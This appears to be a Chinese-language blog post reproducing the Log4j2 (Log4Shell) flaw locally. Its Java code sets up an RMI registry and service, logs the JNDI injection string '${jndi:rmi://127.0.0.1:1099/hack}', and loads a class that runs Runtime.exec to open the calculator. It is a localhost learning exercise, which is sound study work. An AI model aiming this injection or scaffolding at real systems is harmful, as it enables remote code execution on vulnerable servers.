Log4j2漏洞代码复现
代码如下:
package poc;
import java.io.Serializable;
import java.rmi.Remote;
public class CalcTest implements Remote, Serializable {
static {
try {
System.err.println("远程代码开始执行了...");
Runtime runtime = Runtime.getRuntime();
String osName = System.getProperty("os.name");
System.err.println(osName);
if (osName.startsWith("Mac OS")) {
String[] commands = {"open", "/System/Applications/Calculator.app"};
runtime.exec(commands);
} else if (osName.startsWith("Windows")) {
// windows
String[] commands = {"calc"};
runtime.exec(commands);
}
System.err.println("远程代码被执行了...");
} catch (Exception e) {
e.printStackTrace();
}
System.out.println("Hack_code执行了....");
}
public String show(){
System.out.println(name+"远程调用执行");
return "Result";
}
private String name;
public CalcTest(String name){
this.name=name;
}
}
package poc;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j2Test {
private static Logger Logger=LogManager.getLogger(Log4j2Test.class);
public static void main(String[] args) {
String username="${jndi:rmi://127.0.0.1:1099/hack}";
Logger.error(username);
}
}
package poc;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;
/**
* 注册Service
*/
public class RegisterService1099 {
public static void main(String[] args) throws InterruptedException {
try {
LocateRegistry.createRegistry(1099); //Registry使用8000端口
} catch (RemoteException e) {
e.printStackTrace();
}
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}
package poc;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); //获取注册中心引用
CalcTest remote = (CalcTest) registry.lookup("calc"); //获取RemoteHello服务
System.out.println("Client:调用远程方法:"+remote.show()); //调用远程方法
}
}
package poc;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
*
*/
public class RmiService {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); //获取Registry
// 最后一个参数不指定的话,那么这个类的创建就在本地的jvm中,如果指定那么就在指定的服务器上进行创建
Reference reference=new Reference("poc.CalcTest","poc.CalcTest",null);
ReferenceWrapper referenceWrapper=new ReferenceWrapper(reference);
registry.bind("hack",referenceWrapper);
// 下面的调用直接获取到对象
CalcTest calcTest=new CalcTest("RmiService");
registry.bind("calc",calcTest);
System.out.println("CalcTestService已经注册");
}
}
注意:先运行RegisterService1099再运行RmiService最后运行客户端或者Log4j2Test。
本人也是参考了blibli的视频所写。有问题一起交流,谢谢!